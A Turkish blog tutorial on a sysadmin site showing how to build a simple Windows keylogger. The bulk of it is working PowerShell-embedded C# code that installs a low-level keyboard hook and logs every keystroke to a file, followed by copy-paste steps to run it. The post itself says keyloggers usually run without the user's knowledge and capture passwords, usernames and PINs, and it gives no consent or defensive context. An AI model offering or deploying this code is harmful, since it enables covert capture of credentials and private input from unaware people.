• About
  • Get Jnews
  • Contcat Us
Salı, Mayıs 24, 2022
  • Login
Önder Online
  • Ana Sayfa
  • Windows 10
  • System Admin
  • Network
  • Exchange
    • Outlook
No Result
View All Result
  • Ana Sayfa
  • Windows 10
  • System Admin
  • Network
  • Exchange
    • Outlook
No Result
View All Result
Önder Online
No Result
View All Result
Home System Admin

Windows’ta kendimiz basit bir keylogger nasıl oluştururuz

ondermonder by ondermonder
Kasım 23, 2020
in System Admin, Windows 10
0 0
0
Windows’ta kendimiz basit bir keylogger nasıl oluştururuz
0
SHARES
303
VIEWS
Share on FacebookShare on Twitter

Keylogging, klavyede yapılan tuş basışlarını bir günlüğe kaydetme işlemidir. Bu genellikle kullanıcının farkında olmadan yapılır. Keylogging, bilgisayar korsanlığı hilesi olarak da yaygın olarak kullanılmaktadır. Keylogging kullanılarak, bir klavye üzerinde yapılan tüm tuş basışları verimli bir şekilde kaydedilebilir. Bu, parolaları, kullanıcı adlarını, gizli pimleri, gizli verileri vb. İçerebilir. Keylogging, izinsiz girişleri tespit etmek için de kullanılabilir. Bu makalede, basit bir keylogger oluşturmak için Powershell olarak bilinen bir Windows çerçevesi kullanılmıştır . Bir komut satırı kabuğundan ve ilgili komut dosyası dilinden oluşur. Powershell, .NET çerçevesi üzerine inşa edilmiştir ve çeşitli uygulamalar için yaygın olarak kullanılmaktadır.

  • Başlat menüsünü açın. Yazın Windows PowerShell arama çubuğuna. Arama sonuçlarından, ekran görüntüsünde gösterildiği gibi Windows PowerShell ve Windows PowerShell ISE uygulamalarını açın .

READ ALSO

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma

Active Directoryde şifreyi kim sıfırladı?

  • Aşağıda verilen kodu kopyalayın ve Windows PowerShell komut istemine yapıştırın . Kopyalamak veya yapıştırmak için, PowerShell komut isteminde kodu seçmeniz ve sağ tıklamanız yeterlidir.

Add-Type -TypeDefinition @”
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

private const string logFileName = “log.txt”;
private static StreamWriter logFile;

private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;

public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;

hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}

return CallNextHookEx(hookId, nCode, wParam, lParam);
}

[DllImport(“user32.dll”)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport(“user32.dll”)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport(“user32.dll”)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport(“kernel32.dll”)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
“@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

  • Şimdi bazı uygulamaları açın ve bazı tuşlara basın. Örnek olarak ondermonder yazdım
  • Tuşlara basmayı tamamladığınızda, Windows PowerShell komut isteminde kodun altına bakın . Burada, Kayıt tuşuna bastığınız bir talimat göreceksiniz . Sonuçları görmek için CTRL + C tuşlarına basın. Günlüğe kaydedilen tuş vuruşlarını görmek için talimata göre CTRL + C tuşlarına basın .
  • Bu kadar. Kendi keylogger’ınızı yazmak artık çok büyük bir durum değil :). Umarım makale faydalı olur.
Tags: keyloggerPowerShell

Related Posts

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma
System Admin

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma

Nisan 14, 2022
Active Directoryde şifreyi kim sıfırladı?
System Admin

Active Directoryde şifreyi kim sıfırladı?

Nisan 14, 2022
Etki Alanına Katıldıktan Sonra Masaüstü Simgeleri Etkinleştirilemiyor
System Admin

Etki Alanına Katıldıktan Sonra Masaüstü Simgeleri Etkinleştirilemiyor

Nisan 14, 2022
Windows Arama
System Admin

Windows Arama

Nisan 14, 2022
System Admin

How to Add Active Directory Schema Snap-In

Kasım 11, 2021
Changed Block Tracking – Patch Release ESXi600-201511001 (2137545)
System Admin

Changed Block Tracking – Patch Release ESXi600-201511001 (2137545)

Nisan 7, 2021
Next Post
Nmap Nedir ve Nasıl Kullanılır?

Nmap Nedir ve Nasıl Kullanılır?

EDITOR'S PICK

En İyi Şifre Yöneticileri

En İyi Şifre Yöneticileri

Kasım 25, 2020
Exchange 2019 SMTP error “451 4.7.0 Temporary Server Error. Please Try Again Later. PRX”

Exchange 2019 da Dahili e-posta Sahtekârlığı Nasıl Önlenir

Mart 22, 2021
Fortinet Redundant Internet connect /Fortinet Yedekli İnternet bağlantısı

Fortinet Redundant Internet connect /Fortinet Yedekli İnternet bağlantısı

Nisan 8, 2021

CVE-2020–0796 /Microsoft SMBv3 Compression Zafiyeti Microsoft tarafından 10.03.2020 tarihinde CVE-2020-0796 kodu ile SMBv3 protokolünün güvenlik açığı barındırdığı duyurulmuştur.

Kasım 28, 2021
Load More

Dostlar




  • Buy JNews
  • Landing Page
  • Documentation
  • Support Forum

© 2020 Önder AKÖZ

No Result
View All Result
  • Ana Sayfa
  • Network
  • System Admin
  • Windows 10
  • Exchange
    • Outlook

© 2020 Önder AKÖZ

Welcome Back!

Login to your account below

Forgotten Password?

Create New Account!

Fill the forms below to register

*By registering into our website, you agree to the Terms & Conditions and Privacy Policy.
All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In
This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.